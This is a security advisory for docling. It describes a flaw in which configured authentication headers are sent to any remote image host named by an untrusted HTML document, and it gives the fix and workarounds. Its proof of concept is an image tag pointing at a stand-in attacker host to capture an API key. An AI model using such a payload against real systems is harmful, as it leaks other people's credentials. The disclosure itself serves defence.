Docling: Configured HTTP headers sent to every remote image host named by a document

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

• Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
• Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.